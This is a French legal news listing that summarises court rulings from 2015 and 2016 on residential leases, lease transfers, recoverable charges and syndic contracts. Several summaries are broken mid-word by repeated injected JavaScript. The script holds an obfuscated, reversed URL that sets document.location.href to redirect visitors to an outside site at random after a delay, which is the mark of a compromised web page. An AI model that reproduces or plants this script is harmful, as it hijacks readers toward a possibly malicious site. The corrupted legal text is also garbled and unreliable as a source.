Dans un arrêt rendu la 14 janvier 2016 Dans un arrêt rendu le 14 janvier 2016, la Cour de cassation énonce sur le fondement des articles 2 et 7b de la loi du 6 juillet 1989 que le locataire toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}doit occuper effectivement et personnellement…
Le syndicat des copropriétaires n’est pas un consommateur
Dans trois arrêts rendus le 14 janvier 2016 (n°14-28335, 14-28336 et 14-28337), la Cour de cassation approuve une Cour d’appel qui a déclaré irrecevable l’action d’une association de consommateurs en suppression de clauses illicites ou abusives contenues dans le contrat de syndic aux syndicats de copropriétaires, ces derniers n’ayant pas…
La transcription du jugement sur les actes d’état civil met fin à la cotitularité du bail
Dans un arrêt en date du 22 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2015, la Cour de cassation a indiqué que « la transcription du jugement de divorce ayant…
Charges récupérables – Faute du bailleur.
Dans un arrêt en date du 8 octoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod »];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tobre 2015 (Civ, 3ème, n°14-21710), la Cour de cassation a jugé qu’un bailleur commettait une faute…
Preuve cohabitation entre titulaire bail et tiers
Dans un arrêt en date du 28 mai 2015, la Cour d’appel d’Aix-en-Provence a admis le transfert de bail à la fille d’une locataire alors même que la fille avait déclaré à la CAF une résidence principale autre. La Cour d’appel s’est fondée sur différents témoignages notamment ceux du kinésithérapeute et…
Le transfert de bail à une fratrie est légal
Dans un arrêt en date du 25 mars 2015, la Cour de cassation a admis le transfert de bail à une fratrie (Cass., Civ., 3ème, 25 mars 2015, n°14-11043 ) en ces termes : « Mais attendu qu’ayant énoncé qu’en application de l’article 40 de la loi du 6 juillet 1989…